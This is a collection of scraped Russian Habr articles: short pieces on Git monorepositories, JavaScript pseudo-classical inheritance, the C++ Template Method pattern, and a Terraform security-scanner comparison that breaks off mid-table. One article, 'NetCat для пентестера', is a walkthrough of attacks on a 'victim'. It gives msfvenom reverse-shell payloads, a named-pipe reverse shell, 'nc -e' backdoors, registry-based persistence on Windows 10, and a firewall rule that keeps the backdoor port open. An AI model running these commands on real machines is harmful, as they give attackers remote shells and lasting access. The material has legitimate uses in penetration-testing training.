3. [Инструкция по написанию плагина для NetBeans + ANTLR](http://wiki.netbeans.org/New_Language_Support_Tutorial_Antlr)
4. [Инструкция по написанию плагина для NetBeans + JavaCC](http://wiki.netbeans.org/How_to_create_support_for_a_new_language) | https://habr.com/ru/post/124659/ | null | ru | null |
# NetCat для пентестера
Введение в NetCat
-----------------
Netcat, так-же используемый как “nc” – это сетевая утилита, которая использует TCP и UDP соединения для чтения и записи в сети. Он может быть использован как злоумышленниками, так и аудиторами безопасности. Учитывая сценарий атаки, этот кросс-функциональный инструмент может управляться скриптами, что делает его достаточно надежным, а также поможет нам отладить и исследовать сеть.
Netcat может делать все, будь то сканирование портов, захват баннеров, передача файла или даже создание обратного соединения.
Давайте рассмотрим основные функции netcat:
1. Он действует как простой клиент TCP/UDP/SCTP/SSL для взаимодействия с веб-серверами, серверами telnet, почтовыми серверами и другими сетевыми службами TCP/IP.
2. Он перенаправляет трафик TCP/UDP/SCTP на другие порты или хосты, действуя как SOCKS или HTTP прокси.
3. Netcat может даже подключаться к адресатам через цепочку анонимных или аутентифицированных прокси-серверов
4. Шифрует связь с помощью SSL и передает ее по IPv4 или IPv6.
5. Он действует как посредник соединений, позволяя двум (или более) клиентам подключаться через третий (посреднический) сервер. Итак, до сих пор вы, возможно, знали обо всех возможностях Netcat, которые делают его уникальным и просто. Давайте попробуем копнуть глубже и выяснить, что еще мы можем сделать с помощью этого замечательного инструмента.
Linux Reverse Shell
-------------------
Как обсуждалось ранее, netcat может выполнять все что угодно, поэтому теперь мы попробуем использовать целевую машину с помощью msfvenom для создания полезной нагрузки и настроим прослушиватель netcat для захвата сеанса.
Давайте попробуем создать полезную нагрузку, используя следующую команду:
`msfvenom -p cmd/unix/reverse_netcat lhost=192.168.123.123 lport=1234 R`
Параметр «R» используется для создания необработанной полезной нагрузки, которая будет отображаться на нашем экране.
На изображении выше вы можете видеть, что наша полезная нагрузка готова, теперь пришло время запустить ее на сервере нашей жертвы.
Откройте машину Ubuntu и введите эту полезную нагрузку в терминал. Прежде чем запускать его, вернитесь к машине c Kali Linux и настройте прослушиватель netcat, используя тот же номер порта, который вы использовали при создании полезной нагрузки.
Но в случае с высоким уровнем безопасности мы не сможем захватить сеанс, используя этот метод, но есть и другой способ получить reverse shell. Перед этим настройте прослушиватель netcat на порт 443.
И после запуска nc, просто выполните следующие команды на атакуемой машине:
`mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe`
Это поможет вам обойти защиту и подключится к сеансу netcat.
Grabbing the HTTP Banner
------------------------
Заголовки HTTP теперь не могут быть легко получены, так как они содержат информацию о сервере. Но мы можем использовать netcat для сбора информации о любом веб-сервере.
Просто запустите следующую команду, чтобы манипулировать целевым сервером и проверить, что мы захватили.
`printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.123.123 80`
На изображении вы можете видеть, что баннер HTTP получен, и нам представлен сервер nginx.
Windоws Reverse Connection
--------------------------
Теперь сгенерируем бэкдор на Windоws машине, который позволит нам войти в любое время. Давайте сначала настроим прослушиватель на нашей машине kali:
`nc –lvp 1234`Затем в командной строке Windows жертвы выполните следующую команду, чтобы создать бэкдор.
`nc.exe 192.168.123.123 1234 -e Backd.exe`После запуска Backd.exe мы получим reverse shell, а также будем получать бэк-коннект даже после разрыва соединения между машинами, при условии, что ip адрес атакуемой машины останется тот-же, и Backd.exe будет запущен.
Windows 10 Persistence
----------------------
Итак, давайте попробуем создать постоянный бэкдор, используя netcat и Metasploit framework на хосте, который мы скомпрометировали. На изображении ниже вы можете видеть, что я захватил сеанс Meterpreter на машине с Windows 10. Теперь загрузите файл netcat.exe в system32 на компьютере жертвы с помощью следующей команды:
`upload /usr/share/windows-binaries/nc.exe C:\windows\system32`
Теперь настройте netcat для прослушивания любого случайного порта, скажем, 4445, откройте порт при запуске и установите соединение. Используйте следующую команду:
`reg setval -k HKLM\software\microsoft\windows\currentversion\run - v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'`
При успешном подключении к netcat мы получим reverse shell машины жертвы.
Теперь пришло время добавить новое правило в брандмауэр с именем «netcat», в котором входящее соединение будет разрешать порт 4445 с помощью интерактивного cmd, запускающей команду netsh.
Введите следующую команду:
`netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445`Теперь проверим режим работы и состояние порта, следующей командой:
`netsh firewall show portopening`
Теперь, когда жертва снова перезагрузит систему, мы получим оболочку netcat. Выполните следующую команду, чтобы подключить наш бэкдор netcat через порт 4445:
`nc -nv 192.168.1.105 4445`Мы успешно установили постоянный бэкдор, теперь всякий раз, когда жертва загружается, у нас всегда будет его сессия.
Msfvenom Payload с Netcat
-------------------------
Итак, давайте узнаем, как мы можем подключиться к жертве через наш Netcat shell, используя полезную нагрузку msfvenom. Запустите терминал и выполните следующую команду, чтобы сгенерировать полезную нагрузку .exe.
`msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.109 lport=3333 –f exe > shell.exe`
Теперь включите Netcat через порт 3333:
`nc -lvp 3333`
Поделитесь этой сгенерированной полезной нагрузкой с жертвой, и как только он откроет ее, вы получите обратное соединение.
 | https://habr.com/ru/post/678968/ | null | ru | null |
# Монолитные репозитории в Git
Многие выбрали Git за его гибкость: в частности, модель веток и слияний позволяют эффективно децентрализовать разработку. В большинстве случаев эта гибкость является плюсом, однако некоторые сценарии поддержаны не так элегантно. Один из них — это использование Git для больших монолитных репозиториев — *монорепозиториев*. Эта статья исследует проблемы монорепозиториев в Git и предлагает способы их смягчения.
*[Скала Улуру](https://ru.wikipedia.org/wiki/%D0%A3%D0%BB%D1%83%D1%80%D1%83) в Австралии как пример монолита — КДПВ, не более*
Что такое монорепозиторий?
==========================
Определения разнятся, но мы будем считать репозиторий монолитным при выполнении следующих условий:
* Репозиторий содержит более одного логического проекта (например, iOS-клиент и веб-приложение)
* Эти проекты могут быть не связаны, слабо связаны или связаны сторонними средствами (например, через систему управления зависимостями)
* Репозиторий большой во многих смыслах:
+ По количеству коммитов
+ По количеству веток и/или тегов
+ По количеству файлов
+ По размеру содержимого (то есть размеру папки `.git`)
В каких случаях монорепозитории удобны?
---------------------------------------
Мне видится пара возможных сценариев:
* Репозиторий содержит набор сервисов, фреймворков и библиотек, составляющих единое логическое приложение. Например, множество микросервисов и совместно используемых библиотек, которые все вместе обеспечивают работу приложения `foo.example.com`.
* Семантическое версионирование артефактов не требуется или не приносит особой пользы из-за того, что репозиторий используется в самых разных окружениях (например, staging и production). Если нет необходимости отправлять артефакты пользователям, то исторические версии, вроде 1.10.34, могут стать ненужными.
При таких условиях предпочтение может быть отдано единому репозиторию, поскольку он позволяет гораздо проще делать большие изменения и рефакторинги (к примеру, обновить все микросервисы до конкретной версии библиотеки).
У Facebook есть [пример такого монорепозитория](https://code.facebook.com/posts/218678814984400/scaling-mercurial-at-facebook/):
> С тысячами коммитов в неделю и сотнями тысяч файлов, главный репозиторий исходного когда Facebook громаден — во много раз больше,
>
> чем даже ядро Linux, в котором, по состоянию на 2013 год, находилось 17 миллионов строк кода в 44 тысячах файлов.
При проведении тестов производительности в [Facebook использовали тестовый репозиторий](http://permalink.gmane.org/gmane.comp.version-control.git/189776) со следующими параметрами:
* 4 миллиона коммитов
* Линейная история
* Около 1.3 миллиона файлов
* Размер папки `.git` около 15 Гб
* Файл индекса размером до 191 Мб
Концептуальные проблемы
=======================
С хранением несвязанных проектов в монорепозитории Git возникает много концептуальных проблем.
Во-первых, Git учитывает состояние всего дерева в каждом сделанном коммите. Это нормально для одного или нескольких *связанных* проектов, но становится неуклюжим для репозитория со многими несвязанными проектами. Проще говоря, на поддерево, существенное для разработчика, влияют коммиты в несвязанных частях дерева. Эта проблема ярко проявляется с большим числом коммитов в истории дерева. Поскольку верхушка ветки всё время меняется, для отправки изменений требуется частый **`merge`** или **`rebase`**.
*Тег* в Git — это именованный указатель на определённый коммит, который, в свою очередь, ссылается на целое дерево. Однако польза тегов уменьшается в контексте монорепозитория. Посудите сами: если вы работаете над веб-приложением, которое постоянно развёртывается из монорепозитория (Continuous Deployment), какое отношение релизный тег будет иметь к версионированному клиенту под iOS?
Проблемы с производительностью
==============================
Наряду с этими концептуальными проблемами существует целый ряд аспектов производительности, влияющих на монорепозиторий.
### Количество коммитов
Хранение несвязанных проектов в едином большом репозитории может оказаться хлопотным на уровне коммитов. С течением времени такая стратегия может привести к большому числу коммитов и значительному темпу роста (из описания Facebook — *"тысячи коммитов в неделю"*). Это становится особенно накладно, поскольку Git использует направленный ациклический граф (directed acyclic grap — DAG) для хранения истории проекта. При большом числе коммитов любая команда, *обходящая граф*, становится медленнее с ростом истории.
Примерами таких команд являются `git log` (изучение истории репозитория) и `git blame` (аннотирование изменений файла). При выполнении последней команды Git придётся обойти кучу коммитов, не имеющих отношение к исследуемому файлу, чтобы вычислить информацию о его изменениях. Кроме того, усложняется разрешение любых вопросов достижимости: например, достижим ли коммит `A` из коммита `B`. Добавьте сюда множество несвязанных модулей, находящихся в репозитории, и проблемы производительности усугубятся.
### Количество указателей (**refs**)
Большое число указателей — веток и тегов — в вашем монорепозитории влияют на производительность несколькми путями.
*Анонсирование указателей* содержит каждый указатель вашего монорепозитория. Поскольку анонсирование указателей — это первая фаза любой удалённой Git операции, под удар попадают такие команды как `git clone`, `git fetch` или `git push`. При большом количестве указателей их производительность будет проседать. Увидеть анонсирование указателей можно с помощью команды `git ls-remote`, передав ей в качестве аргумента URL репозитория. Например, такая команда выведет список всех указателей в репозитории ядра Linux:
```
git ls-remote git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
```
Если указатели хранятся не в сжатом виде, перечисление веток будет работать медленно. После выполнения команды `git gc` указатели будут упакованы в единый файл, и тогда перечисление даже 20.000 указателей станет быстрым (около 0.06 секунды).
Любая операция, которая требует обхода истории коммитов репозитория и учитывает каждый указатель (например, `git branch --contains SHA1`) в монорепозитории будет работать медленно. К примеру, при 21.708 указателях поиск указателя, содержащего старый коммит (который достижим из почти всех указателей), занял на моём компьютере 146.44 секунды (время может отличаться в зависимости от настроек кеширования и параметров носителя информации, на котором хранится репозиторий).
### Количество учитываемых файлов
Индекс (`.git/index`) учитывает каждый файл в вашем репозитории. Git использует индекс для определения, изменился ли файл, выполняя `stat(1)` для каждого файла и сравнивая информацию об изменении файла с информацией, содержащейся в индексе.
Поэтому количество файлов в репозитории оказывает влияние на производительность многих операций:
* `git status` может работать медленно, т.к. эта команда проверяет каджый файл, а индекс-файл будет большим
* `git commit` также может работать медленно, поскольку проверяет каждый файл
Эти эффекты могут варьироваться в зависимости от настроек кешей и характеристик диска, а заметными становятся только при действительно большом количестве файлов, исчисляемом в десятках и сотнях тысяч штук.
### Большие файлы
Большие файлы в одном поддереве/проекте влияют на производительность всего репозитория. Например, большие медиа-файлы, добавленные в проект iOS-клиента в монорепозитории, будут клонироваться даже разработчикам, работающим над совершенно другими проектами.
### Комбинированные эффекты
Количество и размер файлов в сочетании с частотой их изменений наносят ещё больший удар по производительности:
* Переключение между ветками или тегами, которое актуально в контексте поддерева (например, поддерево, с которым я работаю), по-прежнему обновляет дерево целиком. Этот процесс может быть медленным из-за большого числа затрагиваемых файлов, однако существует *обходное решение*. К примеру, следующая команда обновит папку `./templates` так, чтобы она соответстовала указанной ветке, но при этом не изменит `HEAD`, что приведёт к побочному эффекту: обновлённые файлы будут отмечены в индексе как изменённые:
```
`git checkout ref-28642-31335 -- templates`
```
* Клонирование и загрузка (fetching) замедляются и становятся ресурсоёмкими для сервера, поскольку вся информация упаковывается в pack-файл перед отправкой.
* Сборка мусора становится долгой и по умолчанию вызывается при выполнении `git push` (сама сборка при этом происходит только в том случае, если она необходима).
* Любая команда, включающая создание pack-файла, например `git upload-pack`, `git gc`, требует значительных ресурсов.
Что насчёт Bitbucket?
=====================
Как следствие описанных эффектов, монолитные репозитории — это испытание для любой системы управления Git-репозиториями, и Bitbucket не является ислючением. Ещё важнее то, что порождаемые монорепозиториями проблемы требуют решения как на стороне сервера, так и клиента.
| Параметр | Влияние на сервер | Влияние на пользователя |
| --- | --- | --- |
| Большие репозитории (много файлов, большие файлы или и то, и другое) | Память, CPU, IO, `git clone` нагружает на сеть, `git gc` медленный и ресурсоёмкий | Клонирование занимает значительное время, — как у разработчиков, так и на CI |
| Большое количество коммитов | — | `git log` и `git blame` работают медленно |
| Большое количество указателей | Просмотр списка веток, анонсирование указателей занимают значительное время (`git fetch`, `git clone`, `git push` работают медленно) | Страдает доступность |
| Большое количество файлов | Коммиты на стороне сервера становятся долгими | `git status` и `git commit` работают медленно |
| Большие файлы | См. "Большие репозитории" | `git add` для больших файлов, `git push` и `git gc` работают медленно |
Стратегии смягчения последствий
===============================
Конечно, было бы здорово, если бы Git специально поддержал вариант использования с монолитными репозиториями. Хорошая новость для подавляющего большинства пользователей заключается в том, что на самом деле, действительно большие монолитные репозитории — это скорее исключение, чем правило, поэтому даже если эта статья оказалась интересной (на что хочется надеяться), она вряд ли относится к тем ситуациям, с которыми вы сталкивались.
Есть целый ряд методов снижения вышеописанных негативных эффектов, которые могут помочь в работе с большими репозиториями. Для репозиториев с большой историей или большими бинарными файлами мой коллега [Никола Паолуччи](https://developer.atlassian.com/blog/authors/npaolucci/) описал несколько обходных путей.
### Удалите указатели
Если количество указателей в вашем репозитории исчисляется десятками тысяч, вам стоит попробовать удалить те указатели, которые стали ненужными. Граф коммитов сохраняет историю эволюции изменений, и поскольку коммиты слияния содержат ссылки на всех своих родителей, работу, которая велась в ветках, можно отследить даже если сами эти ветки уже не существуют. К тому же, коммит слияния зачастую содержит название ветки, что позволит восстановить эту информацию, если понадобится.
В [процессе разработки, основанном на ветках](http://blogs.atlassian.com/2013/11/the-essence-of-branch-based-workflows/), количество *долгоживущих* веток, которые следует сохранять, должно быть небольшим. Не бойтесь удалять кратковременные feature-ветки после того, как слили их в основную ветку. Рассмотрите возможность удаления *всех* веток, которые уже слиты в основную ветку (например, в `master` или `production`).
### Обращение с большим количеством файлов
Если в вашем репозитории много файлов (их число достигает десятков и сотен тысяч штук), поможет быстрый локальный диск и достаточный объём памяти, которая может быть использована для кеширования. Эта область потребует более значительных изменений на клиентской стороне, подобных тем, которые [Facebook реализовал для Mercurial](https://code.facebook.com/posts/218678814984400/scaling-mercurial-at-facebook/).
Их подход заключается в использовании событий файловой системы для отслеживания изменённых файлов вместо итерирования по всем файлам в поисках таковых. Подобное решение, также с использованием демона, мониторящего файловую систему, [обсуждалось и для Git](http://git.661346.n2.nabble.com/RFC-On-watchman-support-td7620988.html), однако на данный момент так и не привело к результату.
### Используйте Git LFS (Large File Storage — хранилище для больших файлов)
Для проектов, которые содержат большие файлы, например, видео или графику, [Git LFS](https://git-lfs.github.com/) является одним из способов уменьшения их влияния на размер и общую производительность репозитория. Вместо того, чтобы хранить большие объекты в самом репозитории, Git LFS под тем же имененм хранит маленький файл-указатель на этот объект. Сам объект хранится в специальном хранилище больших файлов. Git LFS встраивается в операции `push`, `pull`, `checkout` и `fetch`, чтобы прозрачно обеспечить передачу и подстановку этих объектов в рабочую копию. Это означает, что вы можете работать с большими файлами так же, как обычно, при этом не раздувая ваш репозиторий.
Bitbucket Server 4.3 [полностью поддерживает Git LFS v1.0+](https://confluence.atlassian.com/bitbucketserver/git-large-file-storage-794364846.html), а кроме того, позволяет просматривать и сравнивать большие графические файлы, хранящиеся в LFS.
Мой коллега [Стив Стритинг](https://developer.atlassian.com/blog/authors/sstreeting/) активно участвует в разработке проекта LFS и не так давно [написал о нём статью](https://developer.atlassian.com/blog/2015/10/contributing-to-git-lfs/).
### Определите границы и разделите ваш репозиторий
Наиболее радикальное решение — это разделение монорепозитория на меньшие, более сфокусированные репозитории. Попробуйте не отслеживать каждое изменения в едином репозитории, а идентифицировать границы компонентов, например, выделяя модули или компоненты, имеющие общий цикл выпуска версий. Хорошим признаком компонентов может быть использование тегов в репозитории и то, насколько они имеют смысл для других частей дерева исходного кода.
Хоть концепт монорепозитория и расходится с решениями, сделавшими Git чрезвычайно успешным и популярным, это не означает, что стóит отказываться от возможностей Git только потому, что ваш репозиторий монолитный: в большинстве случаев, для возникающих проблем есть работающие решения.
---
Штефан Заазен — архитектор Atlassian Bitbucket. Страсть к DVCS привела его к миграции команды Confluence с Subversion на Git и, в конечном итоге, к главной роли в разработке того, что сейчас известно под названием Bitbucket Server. Штефана можно найти в Twitter под псевдонимом [@stefansaasen](http://twitter.com/stefansaasen). | https://habr.com/ru/post/280358/ | null | ru | null |
# Паттерн JavaScript псевдо-класс (pseudo-classical)
В паттерне, объект создается в конструкторе, а его методы объявляются в прототипе.
Данный паттерн используется во фреймворках, таких как Google Closure Library. Нативные объекты JavaScript также используют данный паттернт.
#### Объявление Pseudo-class
Термит Pseudo-class выбран потому, что в JavaScript нет как таковых классов, как в других языка как C, Java, PHP и др., но данный паттерн близок к определению класса.
Псевдо-класс состоит из функции конструктора и методов.
Например, псевдо-класс `Animal` состоит за одного метода `sit` и 2 свойств:
```
function Animal(name) {
this.name = name
}
Animal.prototype = {
canWalk: true,
sit: function() {
this.canWalk = false
alert(this.name + ' sits down.')
}
}
var animal = new Animal('Pet') // (1)
alert(animal.canWalk) // true
animal.sit() // (2)
alert(animal.canWalk) // false
```
1. Когда вызывается `new Animal(name)`, объект получается ссылку `__proto__` на `Animal.prototype` (см. правую часть схемы).
2. Метод `animal.sit` изменяет `animal.canWalk` в экземпляре, поэтому наше животное больше не может ходить, а другие могут.
##### Схема псевдо-класса:
1. Методы и свойства по умолчанию определяются в прототипе.
2. Методы в `prototype` используют `this`, который указывает на текущий объект так как значение `this` зависит от контекста вызова. Поэтому в `animal.sit()` `this` относиться к `animal`.
#### Наследование
Давайте создадим новый класс, который будет наследоваться от `Animal`, например `Rabbit`:
```
function Rabbit(name) {
this.name = name
}
Rabbit.prototype.jump = function() {
this.canWalk = true
alert(this.name + ' jumps!')
}
var rabbit = new Rabbit('John')
```
Как видим, кролик имеет такую же структуру как и `Animal` — метод определен в прототипе.
Для наследования от `Animal`, необходимо сделать так `Rabbit.prototype.__proto__ == Animal.prototype`. Это естественное требование, так как если метод не найден в `Rabbit.prototype`, то его будем искать в методах родителя `Animal.prototype`.
Вот так, например:
Чтобы реализовать это, мы должны создать сначала пустой объект `Rabbit.prototype` наследуемы от `Animal.prototype` и после этого добавить методы.
```
function Rabbit(name) {
this.name = name
}
Rabbit.prototype = inherit(Animal.prototype)
Rabbit.prototype.jump = function() { ... }
```
Где `inherit` создает пустой объект с указанным `__proto__`:
```
function inherit(proto) {
function F() {}
F.prototype = proto
return new F
}
```
Вот что получилось в конце:
```
// Animal
function Animal(name) {
this.name = name
}
// Animal methods
Animal.prototype = {
canWalk: true,
sit: function() {
this.canWalk = false
alert(this.name + ' sits down.')
}
}
// Rabbit
function Rabbit(name) {
this.name = name
}
// inherit
Rabbit.prototype = inherit(Animal.prototype)
// Rabbit methods
Rabbit.prototype.jump = function() {
this.canWalk = true
alert(this.name + ' jumps!')
}
// Usage
var rabbit = new Rabbit('Sniffer')
rabbit.sit() // Sniffer sits.
rabbit.jump() // Sniffer jumps!
```
#### Не используйте `new Animal` для наследования
Хорошо известный, но не правильный способ наследования, это когда вместо `Rabbit.prototype = inherit(Animal.prototype)` люди делают следующее:
```
// inherit from Animal
Rabbit.prototype = new Animal()
```
Как результат, мы получаем `new Animal` в прототипе. Наследование работает, так как `new Animal` естественно, наследует `Animal.prototype`.
… Но кто сказал, что `new Animal()` может быть вызван без `name`? Конструктор может строго требовать аргументов и умереть без них.
На самом деле, проблеме более концептуальная чем эта. Мы не хотим создавать `Animal`. Мы всего лишь хотим наследовать от него.
Вот почему `Rabbit.prototype = inherit(Animal.prototype)` более предпочтителен. Аккуратный наследство без побочных эффектов.
#### Вызов конструктора суперкласса
Конструктор суперкласса теперь вызывается автоматически. Мы можем вызвать его ручками с помощью `Animal.apply()` для текущего объекта:
```
function Rabbit(name) {
Animal.apply(this, arguments)
}
```
Данный код исполняет конструктор `Animal` в контексте текущего объекта и он задает `name` экземпляра.
#### Переопределение методов (полиморфизм)
Чтобы переопределить родительский метод, замените его в дочернем прототипе:
```
Rabbit.prototype.sit = function() {
alert(this.name + ' sits in a rabbity way.')
}
```
При вызове `rabbit.sit()` `sit` ищется по цепочке `rabbit -> Rabbit.prototype -> Animal.prototype` и находит его в `Rabbit.prototype` не доходя до `Animal.prototype`.
Конечно, мы может переопределить его иначе — напрямую в объекте:
```
rabbit.sit = function() {
alert('A special sit of this very rabbit ' + this.name)
}
```
##### Вызов родительского метода после переопределения
После переопределения метода, нам по-прежнему может понадобиться вызвать метод родителя. Это возможно если мы напрямую обратимся к прототипу родителя.
```
Rabbit.prototype.sit = function() {
alert('calling superclass sit:')
Animal.prototype.sit.apply(this, arguments)
}
```
Все родительские методы вызываются с помощью `apply/call` куда передается текущий объект как `this`. Простой вызов `Animal.prototype.sit()` будет использовать `Animal.prototype` как `this`.
##### Sugar: removing direct reference to parent
В предыдущем примере, мы вызывали родительский класс напрямую. Как конструктор: `Animal.apply...`, или метод: `Animal.prototype.sit.apply...`.
На самом деле, мы не должны делать этого. При рефракторинге может быть изменено имя либо добавлен промежуточных класс в иерархии.
Обычно, языки программирования позволяют вызвать родительские методы с помощью специальный ключевых слов, как, например, `parent.method()` или `super()`.
Но в JavaScript такого нет, но мы может смоделировать это.
Следующая функция расширяет наследование и также задает родителя и конструктор без прямой ссылки на него:
```
function extend(Child, Parent) {
Child.prototype = inherit(Parent.prototype)
Child.prototype.constructor = Child
Child.parent = Parent.prototype
}
```
Вот так вот можно использовать:
```
function Rabbit(name) {
Rabbit.parent.constructor.apply(this, arguments) // super constructor
}
extend(Rabbit, Animal)
Rabbit.prototype.run = function() {
Rabbit.parent.run.apply(this, arguments) // parent method
alert("fast")
}
```
В результате, мы можем переименовать `Animal` или создать промежуточных класс `GrassEatingAnimal` и изменения затронут только `Animal` и `extend(...)`.
#### Приватные и защищенные методы (инкапсуляция)
Защищённые (protected) методы и свойства поддерживаются с договоренностью об именование. Методы, начинающиеся с подчеркивания '\_', не должны вызваться из вне (на деле могут).
Приватные (private) методы не поддерживаются.
#### Статические (static) методы и свойства
Статические методы и свойства определяются в конструкторе:
```
function Animal() {
Animal.count++
}
Animal.count = 0
new Animal()
new Animal()
alert(Animal.count) // 2
```
#### Итого
Вот и наш супер-мега-ООП фреймворк:
```
function extend(Child, Parent) {
Child.prototype = inherit(Parent.prototype)
Child.prototype.constructor = Child
Child.parent = Parent.prototype
}
function inherit(proto) {
function F() {}
F.prototype = proto
return new F
}
```
Использование:
```
// --------- the base object ------------
function Animal(name) {
this.name = name
}
// methods
Animal.prototype.run = function() {
alert(this + " is running!")
}
Animal.prototype.toString = function() {
return this.name
}
// --------- the child object -----------
function Rabbit(name) {
Rabbit.parent.constructor.apply(this, arguments)
}
// inherit
extend(Rabbit, Animal)
// override
Rabbit.prototype.run = function() {
Rabbit.parent.run.apply(this)
alert(this + " bounces high into the sky!")
}
var rabbit = new Rabbit('Jumper')
rabbit.run()
```
В наш фреймворк можно добавить чуток сахарку, например, функцию, которая копирую свойства из одного объекта в другой:
```
mixin(Animal.prototype, { run: ..., toString: ...})
```
Но на самом деле вам не очень-то и нужно использовать этот ООП паттерн. Всего лишь две функции справятся с этим. | https://habr.com/ru/post/210596/ | null | ru | null |
# Шаблонный метод
#### Шаблонный метод
Когда приходится спрашивать человека, какие паттерны проектирования ему доводилось использовать, почему-то мало кто называет паттерн «Шаблонный метод» (Template Method). Вероятно, это связано с пробелом в знании номенклатуры паттернов, ибо лично я с трудом представляю себе, чтобы более-менее опытный программист ни разу не использовал такой удобный и полезный паттерн. Предлагаю ещё раз взглянуть на него поближе.
Итак, шаблонный метод. Никакого отношения к шаблонам c++ он не имеет. Данный паттерн примечателен тем, что он очень простой, интуитивно понятный, и крайне полезный. Относится он к категории паттернов поведения и служит одной простой цели — переопределению шагов некоторого алгоритма в семействе классов, производных от базового, определяющего структуру этого самого алгоритма.
Допустим, у мы пишем класс Crypt, который предназначен для шифрования некоторой строки текста. В классе определена функция шифрования:
```
void encrypt() {
// Установка начальных параметров
setupRnd();
setupAlgorithm();
// Получаем строку
std::string fContent = getString();
// Применяем шифрование
std::string enc = applyEncryption(fContent);
// Сохраняем строку
saveString(fContent);
// Подчищаем следы работы алгоритма
wipeSpace();
}
```
С помощью паттерна «Шаблонный метод» мы можем использовать алгоритм, представленный в функции encrypt(), чтобы работать со строками, полученными из разных источников — с клавиатуры, прочитанные с диска, полученные по сети. При этом сама структура алгоритма и неизменные шаги (установка начальных параметров, подчистка следов работы, и при желании применение шифрования) остаются неизменными. Это позволяет нам:
1. Повторно использовать код, который не изменяется для различных подклассов;
2. Определить общее поведение семейства подклассов, используя единожды определённый код;
3. Разграничить права доступа — при реализации изменяемых шагов алгоритма мы будем использовать закрытые виртуальные функции. Это гарантирует, что такие операции будут вызываться только в качестве шагов модифицируемого алгоритма (или, скорее, не будут вызываться производными классами в неподходящих для этого местах).
Итак, дополним класс Crypt необходимыми членами:
```
private:
void setupRnd() {
// Некая инициализация алгоритма случайных чисел
std::cout << "setup rnd\n";
};
void setupAlgorithm() {
// Начальные установки алгоритма шифрования
std::cout << "setup algorithm\n";
};
void wipeSpace() {
// Удаление следов работы
std::cout << "wipe\n";
};
virtual std::string applyEncryption(const std::string& content) {
// Шифрование
std::string result = someStrongEncryption(content);
return result;
}
virtual std::string getString() = 0;
virtual void saveString(const std::string& content) = 0;
```
Обратите внимание, что функции закрытые. Это намеренное ограничение на их вызов, которое не мешает переопределить их в производном классе.
И, собственно, производный класс — шифрующий файл на диске:
```
class DiskFileCrypt : public Crypt {
public:
DiskFileCrypt(const std::string& fName)
: fileName(fName) {};
private:
std::string fileName;
virtual std::string getString() {
std::cout << "get disk file named \"" << fileName << "\"\n";
// Прочитать файл с диска и вернуть содержимое
return fileContent;
}
virtual void saveString(const std::string& content) {
std::cout << "save disk file named \"" << fileName << "\"\n";
// Записать файл на диск
}
};
```
Уже понятно, что при вызове
```
DiskFileCrypt d("foo.txt");
d.encrypt();
```
Будет выполнен алгоритм функции encrypt() и в консоли будет следующее:
`setup rnd
setup algorithm
get disk file named "foo.txt"
save disk file named "foo.txt"
wipe`
Механизм виртуальных функций в примере выше служит исключительно для кастомизации поведения классов. Определяя их как чисто виртуальные можно задавать требования к наследующим классам. Например, если бы мы хотели, чтобы наследники определяли алгоритм шифрования, следовало бы сделать чисто виртуальной функцию-член класса applyEncryption. | https://habr.com/ru/post/277295/ | null | ru | null |
# Выбор инструмента для анализа безопасности кода Terraform
---
Если вы озадачены выбором инструмента для статического анализа кода Terraform, то мы поможем вам с этим. Мы изучили несколько решений по анализу безопасности и конфигурации для AWS и GCP. А мотивом для этого исследования послужило желание унифицировать различные подходы инженеров Revolgy и предоставлять нашим клиентам лучшие и безопасные сервисы.
Изучение инструментов анализа безопасности кода Terraform мы начали с чтения других постов по этой теме. Но большинство из них показались нам субъективными, неполными, не отвечающими на наши вопросы или не удовлетворяющими нашим требованиям. Поэтому мы провели свое сравнение.
### (Терра) мотивация
Основной целью данного исследования был поиск лучшего варианта для включения его в наш инфраструктурный пайплайн, что помогало бы нам выявлять проблемы безопасности в коде Terraform, описывающим инфраструктуру AWS и GCP. По этой причине мы не включили в это сравнение инструменты форматирования и линтеры, такие как [tflint](https://github.com/terraform-linters/tflint). Также мы оставили за рамками такие фреймворки как [conftest](https://github.com/open-policy-agent/conftest), [kitchen-terraform](https://github.com/newcontext-oss/kitchen-terraform), [terrafirma](https://github.com/wayfair/terrafirma), [terraform-compliance](https://terraform-compliance.com/) и [terratest](https://terratest.gruntwork.io/). И не акцентировали внимание на дополнительном тестировании Kubernetes, Ansible и других IaC-платформ. Это все интересные инструменты (и мы знаем, что, поработав с ними, мы могли бы их использовать для анализа безопасности), но есть другие решения, ориентированные на эту конкретную задачу, которые более просты в использовании.
В итоге мы решили сравнить следующие инструменты: [checkov](https://github.com/bridgecrewio/checkov), [snyk](https://github.com/snyk/snyk), [terrascan](https://github.com/accurics/terrascan) и [tfsec](https://github.com/tfsec/tfsec).
### Сравниваемые характеристики
Мы сравнивали по следующим критериям (упорядочены по приоритету):
1. Возможность анализа кода Terraform, описывающего ресурсы AWS и GCP, на наличие проблем безопасности.
2. Качество обнаруженных проблем безопасности (положительные и ложноположительные результаты), а также ссылки на документацию AWS/GCP и Terraform.
3. Лицензия и цены.
4. Возможность ручного запуска по требованию.
5. Возможность запуска в пайплайне GitLab (прямая интеграция и / или вывод JUnitXML).
6. Возможность фильтровать правила / игнорировать определенные результаты (для уменьшения ложных срабатываний или принятия риска).
7. Возможность добавлять и разрабатывать собственные правила безопасности.
8. Возможность вывода результатов в машиночитаемый формат, такой как JSON, XML или CSV для возможных интеграций (с ELK-стеком, DefectDojo и т.п.).
### Сравнение функциональности
Для сравнения функциональности мы взяли наши требования, а также добавили несколько других, которые, по нашему мнению, могут быть интересны или полезны. После экспериментов с инструментами, изучения их веб-сайтов, репозиториев с кодом, документации, справки командной строки, результатов сканирования и т. д., мы получили следующую таблицу.
| | | | | |
| --- | --- | --- | --- | --- |
| **Характеристика** | **checkov** | **Snyk** | **terrascan** | **tfsec** |
| Цена | Бесплатно | Бесплатно/платно | Бесплатно | Бесплатно |
| Open-source | Да | (только агент) | Да | Да |
| Лицензия | [Apache-2.0](https://github.com/bridgecrewio/checkov/blob/master/LICENSE) | [Apache-2.0](https://github.com/snyk/snyk/blob/master/LICENSE) | [Apache-2.0](https://github.com/accurics/terrascan/blob/master/LICENSE) | [MIT](https://github.com/tfsec/tfsec/blob/master/LICENSE) |
| Поддерживаемые IaC: | | | | |
| - TF AWS | Да | Да | Да | Да |
| - TF GCP | Да | Да | Да | Да |
